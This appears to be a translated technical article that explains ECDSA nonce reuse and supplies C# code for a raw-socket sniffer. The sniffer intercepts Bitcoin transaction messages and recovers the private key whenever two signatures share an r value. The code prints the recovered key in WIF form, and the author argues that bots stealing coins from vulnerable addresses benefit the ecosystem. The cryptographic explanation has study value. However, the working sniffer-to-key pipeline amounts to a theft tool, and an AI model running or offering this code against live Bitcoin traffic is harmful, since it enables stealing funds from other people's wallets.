Bitcoin 流量嗅探器和分析器






4.45/5 (5投票s)
一个比特币流量嗅探器,用于拦截比特币协议消息并进行分析,以检查交易中的比特币地址是否容易受到攻击。
目录
免责声明
用免责声明开始一篇技术文章是不寻常的,但我认为这是必要的,因为作为这项工作的一部分,我不仅要解释如何创建一个机器人来分析比特币的入站/出站流量,还要解释如何检查交易签名中的漏洞,这些漏洞可能导致能够计算出签名所使用的私钥,这意味着可以用来窃取比特币。我还会写为什么我认为像这样的机器人可以为比特币生态系统和社会提供有用且无价的服务。
引言
如果您在服务器上运行比特币节点,交易就会被转发到您的节点,因此可以对 TCP 流量进行各种非常有趣的分析。
在本文中,我将展示如何使用简单的 IP 嗅探器拦截比特币交易。此外,我还会向您展示如何检查交易签名是否重复使用了相同的 K 值,这意味着可以从这些签名中计算出私钥。
背景
年复一年,成百上千的比特币被黑客窃取,这归因于不安全的比特币地址管理。这似乎是年轻比特币生态系统中一个永无止境的问题。
最常见的故事是这样的:一家公司或一个开源项目团队发布了一个新的比特币钱包客户端,或者某个流行的比特币钱包客户端的新版本,然后您尝试使用它,一切似乎都运行得非常完美。第二天,您打开钱包,惊喜!您的钱包空了。您所有的比特币都不见了。
先例
2014 年 12 月 1 日,我被 blockchain.info 事件深深震惊,该事件导致数百个比特币地址被泄露,以及所有关于安全性的技术讨论,尤其是关于 ECDSA 以及如何从重复使用相同 R 值的签名中获取私钥。事实上,有一段时间,我认为有一个机器人正在窃取比特币,这个想法整天困扰着我,于是我创建了这个工具。
我以为,鉴于之前发生过几次,这种情况不会再发生了。我错了,它又发生了,而且,请相信我,它还会发生很多次。
问题所在
如果您开发一个处理比特币的应用程序,您如何确定您做得正确?您如何知道您的应用程序生成的地址是安全的?您如何确定您的密钥管理是正确的?
我们可以遵循严格的代码审查流程,运行我们的测试,或聘请密码学专家对代码进行评估。所有这些都是良好的实践,并且超出讨论范围。问题是:对于比特币来说,这足够吗?
经验证据是压倒性的:这还不够。比特币应用程序与其他应用程序不同,其他应用程序中几乎没有动机去寻找安全漏洞,恰恰相反,如果黑客发现一个缺陷,他可以在几分钟内成为百万富翁!因此,请不要低估金钱激励坏人的力量。
解决方案(坏男孩)
坏男孩可能对比特币生态系统有益。如果成千上万的机器人正在分析网络以窃取您的比特币呢?这听起来很糟糕,对吧?事实是,答案并不重要,因为这是不可避免的,我们可以预料到越来越多的人在分析比特币网络和流量。
在这种情况下,您只需用一些聪(satoshis)来测试您的应用程序,然后等待它们被取走。如果它们被取走了,那么您就绝对确定您的应用程序是不安全的。这是测试应用程序安全性最便宜的方法,事实上,您可以自行决定投资多少。
正如矿工通过验证交易来执行网络安全并从中获得奖励一样,机器人也可以通过尝试窃取脆弱地址中的比特币来加强生态系统的安全性。正如我刚才提到的,这也存在激励。坏男孩会这么做。最好将这一事实为我们所用。
代码
比特币协议相当复杂,因此我们不想从头开始实现它,而且,如果我们做得不对,其他节点可能会禁止我们的 IP。我们希望通过运行一个比特币节点并仅观察通信来帮助网络。
IP 嗅探器
首先,我们需要拦截比特币流量,以便进行任何分析。有几个 .NET 库可以实现这一点,但在本例中,纯粹为了好玩,我创建了一个名为 Open.Sniffer 的小型库来捕获 IP 流量(仅用于教育目的)。它使用原始套接字捕获传入的数据包,然后解析 IP 头以确定它们是 TCP 还是 UDP,并为每个数据包引发事件。
下图显示了我们要解析的 IPv4 头结构。根据 Protocol 字段的值,我们知道有效载荷中的协议是什么(可用协议及其编号列表在此 http://en.wikipedia.org/wiki/List_of_IP_protocol_numbers)
图片来自 维基百科
// This is in the base class for traffic sniffers
public SnifferBase(IPAddress bindTo)
{
// Create and configure the Raw Socket
_socket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
_socket.Bind(new IPEndPoint(bindTo, 0));
_socket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, true); //option to true
var byTrue = new byte[] {0x1, 0x0, 0x0, 0x0};
var byOut = new byte[] {0x1, 0x0, 0x0, 0x0};
_socket.IOControl(IOControlCode.ReceiveAll, byTrue, byOut);
}
private void OnReceive(IAsyncResult ar)
{
var received = _socket.EndReceive(ar);
var buffer = new ArraySegment(ar.AsyncState as byte[], 0, 32*1024);
// Parse the IP header and based on the
var ipHeader = new IPHeader(buffer);
var packet = ParseData(ipHeader);
ProcessPacket(ipHeader.ProtocolType, packet);
var header = new byte[32 * 1024];
_socket.BeginReceive(header, 0, 32 * 1024, SocketFlags.None, OnReceive, header);
}
private object ParseData(IPHeader ipHeader)
{
switch (ipHeader.ProtocolType)
{
case ProtocolType.Tcp:
return new TcpHeader(ipHeader);
case ProtocolType.Udp:
return new UdpHeader(ipHeader);
case ProtocolType.Unknown:
return null;
}
throw new NotSupportedException();
}
比特币嗅探器
比特币消息协议建立在 TCP 协议之上,此时我们拥有 TCP 流量,所以,如果我们使用默认端口(8333 端口)运行我们的节点,那么我们就可以过滤掉那些是比特币节点的流量。
当我们捕获到数据包时,我们必须检查它是否是比特币交易消息。也就是说,检查它是否是发往 8333 端口(或您的比特币节点正在监听的端口)的目的端口的入站 TCP 流,然后检查消息命令类型是否为 tx。以下代码片段正好展示了我们如何检查这些内容。
// After parsing the IP header, this method is invoked. Here is where magic happens.
protected override void ProcessPacket(ProtocolType protocolType, object packet)
{
// Bitcoin is build over TCP so, we only want to process TCP protocol
if (protocolType != ProtocolType.Tcp) return;
var tcpHeader = (TcpHeader) packet;
// If the destination port is not 8333 that means the it has not bitcoin
// node as destination
if (tcpHeader.DestinationPort != 8333) return;
if(tcpHeader.MessageLength == 0) return;
// Parse the Bitcoin message header
var btcHeader = new BtcHeader(tcpHeader);
// We are interested only in transaction messages
if(! btcHeader.Command.StartsWith("tx")) return;
// Parse the transaction message
var tx = ParseTx(btcHeader.Payload);
// Here is where we perform our analysis-----------+
// |
ProcessTransaction(tx); // <<---------------------+
}
交易分析
计算
使用 ECDSA 对数据进行签名
现在是时候谈谈数字签名了。在比特币中,数字签名用于验证作为交易输入一部分的比特币的所有权。鉴于只有私钥所有者才能解锁特定地址中的现有比特币,因此需要解锁该地址中价值的交易必须使用所有者的私钥进行签名。
我们说交易输入被签名,但我们签名的是其哈希值 e,而不是输入本身。所以,让我们计算要签名消息的哈希值。
之后,我们需要生成一个随机数 k。它必须只使用一次,因为如果我们重复使用它,就可以计算出用于签名消息的私钥。本文的其余部分都将围绕检查重复使用此 k 值的签名。
$0 < k < n$
数字 n 是曲线生成点 G 的阶。比特币使用一个称为 Secp256k1 的 ECDSA 参数集,该参数集定义了 G 和 n
ECDSA 签名由数字 r 和 s 对组成。其中 r 是点 R 的 x 坐标,计算方法如下:
随机数 k 隐藏在离散对数后面,在这里我们可以看到为什么说重复的 r 值意味着重复使用了相同的随机 k。
现在,给定一个私钥 x,签名计算方法如下:
使用相同的 k “随机”数从签名中计算私钥
正如我们在背景部分所说,k 值的重复使用在比特币历史中已经发生过几次。因为随机数生成算法被破坏(它反复生成相同的 k),或者 k 值并非真正随机生成,或者由于其他原因。(还记得索尼的案例,k 是一个常数 4。确实不怎么随机)
让我们看看如何做到这一点。假设我们有两个具有相同 k 的签名 s1 和 s2。
这与以下情况相同:
请记住,我们要提取私钥 x,为此我们必须找到使用的 k 值,因此第一步是如下减去两个方程:
好了,现在我们已经找到了 k 值,终于可以计算私钥 x 了。请记住:
让我们从这些方程中提取 x:
两个方程是等价的,并且第一个方程就是本文代码示例中使用的方程。然而,还有另一种找到私钥 x 的方法,而无需先计算 k。
请记住:
鉴于两个方程中的 k 值相同,我们可以这样做:
现在,将两边乘以 (s1 * s2),我们得到:
将 s2 和 s1 分配到两边:
减去 s1 * e2:
然后,减去 s2 * x * r:
交换方程并提取 x:
C# 中的计算
公钥、私钥、哈希和签名都是大数,即使 .NET Framework 在 4.0 版本中引入了新的 BigNumber 类,用它进行计算也有些困难。因此,本文中的代码使用 BouncyCastle 库来处理大数。
下面是使用方程 \(x = r^{-1}(s1 * k - e1) \ \ \ \ (mod \ n)\) 计算给定哈希值、签名和 r 值即可得到私钥的代码。
private static BigInteger CalculatePrivateKey(BigInteger e1, BigInteger e2, BigInteger s1, BigInteger s2, BigInteger r)
{
var n = BigInteger.Two.Pow(256).Subtract(new BigInteger("432420386565659656852420866394968145599"));
var m1m2 = e1.Subtract(e2);
var s1s2 = s1.Subtract(s2);
var s1s2_inv = s1s2.ModInverse(n);
// private key
// x = (s1 * k - e1)/r % n
//
var k = m1m2.Multiply(s1s2_inv).Mod(n);
var t = s1.Multiply(k).Subtract(e1).Mod(n);
var x = t.Multiply(r.ModInverse(n)).Mod(n);
return x;
}
比特币交易消息解剖
至此,我们已经了解了如何拦截比特币交易消息以及在 k 值被重复使用时提取私钥背后的数学原理。最后一步是知道如何从截获的原始交易消息中提取所有需要的信息。
这里有一个交易示例:
01 00 00 00 02 f6 4c 60 3e 2f 9f 4d af 70 c2 f4 25 2b 2d cd b0 7c c0 19 2b 72 38 bc 9c 3d ac ba
e5 55 ba f7 01 01 00 00 00 8a 47 30 44 02 20 d4 7c e4 c0 25 c3 5e c4 40 bc 81 d9 98 34 a6 24 87
51 61 a2 6b f5 6e f7 fd c0 f5 d5 2f 84 3a d1 02 20 44 e1 ff 2d fd 81 02 cf 7a 47 c2 1d 5c 9f d5
70 16 10 d0 49 53 c6 83 65 96 b4 fe 9d d2 f5 3e 3e 01 41 04 db d0 c6 15 32 27 9c f7 29 81 c3 58
4f c3 22 16 e0 12 76 99 63 5c 27 89 f5 49 e0 73 0c 05 9b 81 ae 13 30 16 a6 9c 21 e2 3f 18 59 a9
5f 06 d5 2b 7b f1 49 a8 f2 fe 4e 85 35 c8 a8 29 b4 49 c5 ff ff ff ff ff 29 f8 41 db 2b a0 ca fa
3a 2a 89 3c d1 d8 c3 e9 62 e8 67 8f c6 1e be 89 f4 15 a4 6b c8 d9 85 4a 01 00 00 00 8a 47 30 44
02 20 d4 7c e4 c0 25 c3 5e c4 40 bc 81 d9 98 34 a6 24 87 51 61 a2 6b f5 6e f7 fd c0 f5 d5 2f 84
3a d1 02 20 9a 5f 1c 75 e4 61 d7 ce b1 cf 3c ab 90 13 eb 2d c8 5b 6d 0d a8 c3 c6 e2 7e 3a 5a 5b
3f aa 5b ab 01 41 04 db d0 c6 15 32 27 9c f7 29 81 c3 58 4f c3 22 16 e0 12 76 99 63 5c 27 89 f5
49 e0 73 0c 05 9b 81 ae 13 30 16 a6 9c 21 e2 3f 18 59 a9 5f 06 d5 2b 7b f1 49 a8 f2 fe 4e 85 35
c8 a8 29 b4 49 c5 ff ff ff ff ff 01 a0 86 01 00 00 00 00 00 19 76 a9 14 70 79 2f b7 4a 5d f7 45
ba c0 7d f6 fe 02 0f 87 1c bb 29 3b 88 ac 00 00 00 00
为了能够分析前面的交易消息,我们首先需要了解它的结构。下图显示了我们需要解析的 Bitcoin Transaction message 结构。
交易结构(Tx)
交易输入结构(TxIn)
图片来自 比特币维基
这里是我们必须解析的相同交易示例。
var rtx = new byte[] {
/* 0 - Version */ 0x01, 0x00, 0x00, 0x00,
/* 4 - # inputs */ 0x02,
/* 5 - in #1 */
/* 5 - prev output */ 0xf6, 0x4c, 0x60, 0x3e, 0x2f, 0x9f, 0x4d, 0xaf, 0x70, 0xc2, 0xf4, 0x25, 0x2b, 0x2d, 0xcd, 0xb0, 0x7c, 0xc0, 0x19, 0x2b, 0x72, 0x38, 0xbc, 0x9c, 0x3d, 0xac, 0xba, 0xe5, 0x55, 0xba, 0xf7, 0x01,
/* 32 - output idx */ 0x01, 0x00, 0x00, 0x00,
/* 41 - script len*/ 0x8a,
/* 42 - script */ 0x47, /*len*/ 0x30, 0x44, //signature length
/* 45 - signature R */ 0x02, 0x20,
/* 47 */ 0xd4, 0x7c, 0xe4, 0xc0, 0x25, 0xc3, 0x5e, 0xc4, 0x40, 0xbc, 0x81, 0xd9, 0x98, 0x34, 0xa6, 0x24, 0x87, 0x51, 0x61, 0xa2, 0x6b, 0xf5, 0x6e, 0xf7, 0xfd, 0xc0, 0xf5, 0xd5, 0x2f, 0x84, 0x3a, 0xd1,
/* 79 - signature S */ 0x02, 0x20,
/* 81 */ 0x44, 0xe1, 0xff, 0x2d, 0xfd, 0x81, 0x02, 0xcf, 0x7a, 0x47, 0xc2, 0x1d, 0x5c, 0x9f, 0xd5, 0x70, 0x16, 0x10, 0xd0, 0x49, 0x53, 0xc6, 0x83, 0x65, 0x96, 0xb4, 0xfe, 0x9d, 0xd2, 0xf5, 0x3e, 0x3e,
/* 113 - hashtype */ 0x01,
/* 114 - pubkey */ 0x41,
/* 115 */ 0x04, 0xdb, 0xd0, 0xc6, 0x15, 0x32, 0x27, 0x9c, 0xf7, 0x29, 0x81, 0xc3, 0x58, 0x4f, 0xc3, 0x22, 0x16, 0xe0, 0x12, 0x76, 0x99, 0x63, 0x5c, 0x27, 0x89, 0xf5, 0x49, 0xe0, 0x73, 0x0c, 0x05, 0x9b, 0x81, 0xae, 0x13, 0x30, 0x16, 0xa6, 0x9c, 0x21, 0xe2, 0x3f, 0x18, 0x59, 0xa9, 0x5f, 0x06, 0xd5, 0x2b, 0x7b, 0xf1, 0x49, 0xa8, 0xf2, 0xfe, 0x4e, 0x85, 0x35, 0xc8, 0xa8, 0x29, 0xb4, 0x49, 0xc5, 0xff,
0xff, 0xff, 0xff, 0xff,
/* 184 - in #2 */
/* 184 - prev output */ 0x29, 0xf8, 0x41, 0xdb, 0x2b, 0xa0, 0xca, 0xfa, 0x3a, 0x2a, 0x89, 0x3c, 0xd1, 0xd8, 0xc3, 0xe9, 0x62, 0xe8, 0x67, 0x8f, 0xc6, 0x1e, 0xbe, 0x89, 0xf4, 0x15, 0xa4, 0x6b, 0xc8, 0xd9, 0x85, 0x4a,
/* 216 - output idx */ 0x01, 0x00, 0x00, 0x00,
/* 220 - script len*/ 0x8a,
/* 221 - script */ 0x47, 0x30, 0x44,
/* 224 - signature R */ 0x02, 0x20,
/* 226 */ 0xd4, 0x7c, 0xe4, 0xc0, 0x25, 0xc3, 0x5e, 0xc4, 0x40, 0xbc, 0x81, 0xd9, 0x98, 0x34, 0xa6, 0x24, 0x87, 0x51, 0x61, 0xa2, 0x6b, 0xf5, 0x6e, 0xf7, 0xfd, 0xc0, 0xf5, 0xd5, 0x2f, 0x84, 0x3a, 0xd1,
/* 258 - signature S */ 0x02, 0x20,
/* 260 */ 0x9a, 0x5f, 0x1c, 0x75, 0xe4, 0x61, 0xd7, 0xce, 0xb1, 0xcf, 0x3c, 0xab, 0x90, 0x13, 0xeb, 0x2d, 0xc8, 0x5b, 0x6d, 0x0d, 0xa8, 0xc3, 0xc6, 0xe2, 0x7e, 0x3a, 0x5a, 0x5b, 0x3f, 0xaa, 0x5b, 0xab,
/* 292 - hashtype */ 0x01,
/* 293 - pubkey */ 0x41,
/* 294 */ 0x04, 0xdb, 0xd0, 0xc6, 0x15, 0x32, 0x27, 0x9c, 0xf7, 0x29, 0x81, 0xc3, 0x58, 0x4f, 0xc3, 0x22, 0x16, 0xe0, 0x12, 0x76, 0x99, 0x63, 0x5c, 0x27, 0x89, 0xf5, 0x49, 0xe0, 0x73, 0x0c, 0x05, 0x9b, 0x81, 0xae, 0x13, 0x30, 0x16, 0xa6, 0x9c, 0x21, 0xe2, 0x3f, 0x18, 0x59, 0xa9, 0x5f, 0x06, 0xd5, 0x2b, 0x7b, 0xf1, 0x49, 0xa8, 0xf2, 0xfe, 0x4e, 0x85, 0x35, 0xc8, 0xa8, 0x29, 0xb4, 0x49, 0xc5, 0xff,
/* 359 */ 0xff, 0xff, 0xff, 0xff,
/* 363 - # outputs */ 0x01,
/* 364 - out #1 */
/* 365 - value */ 0xa0, 0x86, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
/* 373 - pk_script len */ 0x19, /* pk_script is 25 bytes long */
/* 378 - pk_script */ 0x76, 0xa9, 0x14, 0x70, 0x79, 0x2f, 0xb7, 0x4a, 0x5d, 0xf7, 0x45, 0xba, 0xc0, 0x7d, 0xf6, 0xfe, 0x02, 0x0f, 0x87, 0x1c, 0xbb, 0x29, 0x3b, 0x88, 0xac,
/* 398 - locktime */ 0x00, 0x00, 0x00, 0x00
};
如您所见,交易消息由输入集合和输出集合组成,我们填充我们的 Tx(交易)类的实例。
internal class Tx
{
public int Version;
public List<input> Inputs;
public List<output> Outputs;
public int Locktime;
}
我们对输入的脚本(ScriptSig)感兴趣,因为它包含签名,而签名由两个值 r 和 s 组成,这两个值对于计算支出者的私钥至关重要。这是交易输入类,具有 R 和 S 属性。
internal class Input
{
public byte[] Previous;
public long ScriptLength;
public byte[] Script;
public byte[] rawR;
public byte HashType;
public byte[] PublicKey;
public int Seq;
public BigInteger m;
public byte[] rawS;
public int PreviousSeq;
public BigInteger M
{
set { m = value; }
get
{
return m ?? BigInteger.Zero;
}
}
public BigInteger S
{
get
{
return BigIntegerEx.FromByteArray(rawS);
}
}
public BigInteger R
{
get
{
return BigIntegerEx.FromByteArray(rawR);
}
}
}
#比特币交易解析和处理
这一部分不太重要,因为市面上有很多用于解析比特币交易的库,从特定目的的库如 BlockchainParser 到非常成熟的库如 NBitcoin。不过,这里的重点是获取 R 和 S 值,对于本文的范围来说,其余的并不那么重要。
private static Tx ParseTx(ArraySegment<byte> rtx)
{
var tx = new Tx();
using (var memr = new MemoryStream(rtx.Array, rtx.Offset, rtx.Count))
{
using (var reader = new BinaryReader(memr))
{
tx.Version = reader.ReadInt32();
// Read the transaction inputs
var ic = reader.ReadVarInt();
tx.Inputs = new List<Input>((int)ic);
for (var i = 0; i < ic; i++)
{
var input = new Input();
input.Previous = reader.ReadBytes(32);
input.PreviousSeq = reader.ReadInt32();
input.ScriptLength = reader.ReadVarInt();
input.Script = reader.ReadBytes(3);
if (!(input.Script[1] == 0x30 && (input.Script[0] == input.Script[2] + 3)))
{
throw new Exception();
}
var vv = reader.ReadByte();
// And here we have the R value
input.rawR = reader.ReadStringAsByteArray();
vv = reader.ReadByte();
// And the S value
input.rawS = reader.ReadStringAsByteArray();
input.HashType = reader.ReadByte();
input.PublicKey = reader.ReadStringAsByteArray();
input.Seq = reader.ReadInt32();
tx.Inputs.Add(input);
}
// Read the transaction outputs
.....
..... Code removed for brevity
.....
}
}
return tx;
}
在解析完所有输入后,我们检查是否至少有两个输入的 r 值相同,这意味着它们是由相同的 随机 k 值生成的(它根本不是随机的!)。
一个更有效的方法是检查每个输入的 r 值与过去使用的所有签名进行比较。
// Find duplicated R values
var inputs = tx.Inputs.GroupBy(x => x.R)
.Where(x => x.Count() >= 2)
.Select(y => y)
.ToList();
if (inputs.Any())
{
var i0 = inputs[0].First();
var i1 = inputs[0].Last();
var pp = CalculatePrivateKey(i0.M, i1.M, i0.S, i1.S, i0.R);
var pkwif = KeyToWIF(pp.ToString(16));
Console.WriteLine(" **************************************************************************");
Console.WriteLine(" **** pk: {0}", pkwif);
Console.WriteLine(" **************************************************************************");
}
结论
ECDSA(和 DSA)要求每次签名都要有新的随机数,否则,使用的私钥就可以被恢复。鉴于 ECDSA 签名用于比特币和其他加密货币,以确保只有所有者才能花费资金,重复使用随机数可能导致这些资金丢失。
在加密货币世界中,大部分对 CSPRNG 的关注都集中在它们在生成私钥中的使用,然而在这里我们解释了它们在签名过程生成中的重要性。因此,目前许多加密货币和密码系统普遍使用 HMAC 算法来实现确定性 k 生成器。
特别感谢:
- Willem Jan Hengeveld,他帮助我理解了私钥计算背后的数学原理以及如何用比特币交易来完成 这里。一位黑客(维基百科:才华横溢的程序员或技术专家)
- Prof. Dr.-Ing. Christof Paar,感谢您分享他在 YouTube 上精彩的“密码学入门”课程。
历史
- 2016 年 9 月 10 日 - Github 存储库链接